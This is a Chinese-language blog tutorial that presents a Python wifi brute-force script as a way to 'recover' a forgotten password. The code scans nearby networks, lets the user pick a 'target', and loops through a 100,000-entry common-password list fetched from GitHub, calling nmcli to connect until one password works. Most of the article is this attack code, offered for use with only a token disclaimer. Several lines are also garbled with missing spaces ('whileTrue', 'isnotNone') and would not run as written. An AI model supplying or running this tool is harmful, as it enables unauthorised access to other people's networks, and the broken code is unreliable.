忘記的wifi密碼Python腳本找回

小編：餓狼更新時間：2025-06-16 17:31

很多小伙伴都好奇，一些個網絡大神咋就把wifi密碼給找回來了？其實找回wifi密碼的難度主要看密碼設得有多復雜。如果是那種常見的弱密碼，比如“12345678”，找回來真不難！下面就教你用Python腳本三步找回wifi密碼，純為學習技術，別拿去干違法的事兒哦！

忘記的wifi密碼Python腳本找回

第一步：掃描附近wifi信號

想找回wifi密碼，第一步得知道附近有哪些wifi信號。咱們可以用Python寫個小函數，叫`display_targets`，獲取wifi列表。

def display_targets(networks, security_type):
    print("Select a target: \n")
    
    rows, columns = os.popen('stty size', 'r').read().split()
    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "
        
        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)
        else:
                calc = int(columns)-int(width)
        
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
            
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])

它能掃描附近wifi的SSID（就是wifi名字，比如“HUAWEI-XXXX”）。跑代碼后，程序會把附近wifi信號列出來，存到列表里，方便你挑想找回密碼的那個wifi。這個函數寫下來也就十幾行，超簡單！

忘記的wifi密碼Python腳本找回

小提示：先用`pip install pywifi`裝好庫，Windows、Mac、Linux都支持。跑之前確認下電腦網卡能不能掃wifi，不然可能啥也找不到。

第二步

掃完wifi列表后，找到你的wifi。這步更輕松，純Python基礎操作。可以用輸入框，讓你從列表選出wifi名字（比如“TP-LINK_1234”）。選好后，程序會記住這個wifi的SSID，準備下一步。

def prompt_for_target_choice(max):
    whileTrue:
        try:
            selected = int(input("\nEnter number of target: "))
            if(selected >= 1and selected <= max):
                return selected - 1
        except Exception as e:
            ignore = e

        print("Invalid choice: Please pick a number between 1 and " + str(max))

第三步：暴力嘗試找回wifi密碼

選好wifi后，重頭戲來了——咋找回密碼？最常用的辦法是“暴力嘗試”，就是拿一堆常見密碼挨個試。咱們可以用GitHub上的一個開源項目，里面有10萬個常用wifi密碼（比如“admin123”之類的弱密碼）。程序會自動用這些密碼去試，直到找到對的那個。

具體咋干？寫個函數，循環讀取密碼列表，自動嘗試連wifi。每次試的時候，屏幕會用顏色提示：紅色是試錯了，紫色是正在試，綠色是找回成功！整個代碼大概60行，核心就是`pywifi`的連接功能加上密碼循環，效率很高。

def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()

        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = password.decode("utf-8")
            
        if args.verbose isTrue:
            print(bcolors.HEADER+"** TESTING **: with password '" +
                decoded_line+"'"+bcolors.ENDC)

        if (len(decoded_line) >= 8):
            time.sleep(3)

            creds = os.popen("sudo nmcli dev wifi connect " +
                selected_network+" password "+decoded_line).read()
                
            # print(creds)

            if ("Error:"in creds.strip()):
                if args.verbose isTrue:
                    print(bcolors.FAIL+"** TESTING **: password '" +
                        decoded_line+"' failed."+bcolors.ENDC)
            else:
                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                    decoded_line+"' succeeded."+bcolors.ENDC)
        else:
            if args.verbose isTrue:
                print(bcolors.OKCYAN+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+bcolors.ENDC)

    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

小提醒：找回速度看你電腦性能和密碼復雜程度。如果wifi用的是“password123”這種弱密碼，估計幾分鐘就搞定；但如果是16位隨機密碼，難度就大多了。

把三步連起來

把這三步串起來，邏輯是這樣的：先用`display_targets`掃wifi列表，選好你的wifi，最后用暴力嘗試函數一個個試密碼。整個腳本不到100行，簡單又好使！跑的時候，屏幕會刷測試狀態，紅色、紫色、綠色提示清清楚楚，找到密碼后直接顯示，爽快！

def main():
    require_root()
    args = argument_parser()

    # The user chose to supplied their own url
    if args.url isnotNone:
        passwords = fetch_password_from_url(args.url)
    # user elect to read passwords form a file
    elif args.file isnotNone:
        file = open(args.file, "r")
        passwords = file.readlines()
        ifnot passwords:
            print("Password file cannot be empty!")
            exit(0)
        file.close()
    else:
        # fallback to the default list as the user didnt supplied a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
        passwords = fetch_password_from_url(default_url)

    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    ifnot networks:
        print("No networks found!")
        sys.exit(-1)

    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

    brute_force(target, passwords, args)

小建議：找到密碼后，記到手機備忘錄里，標上“家里wifi密碼”，免得下次又忘了。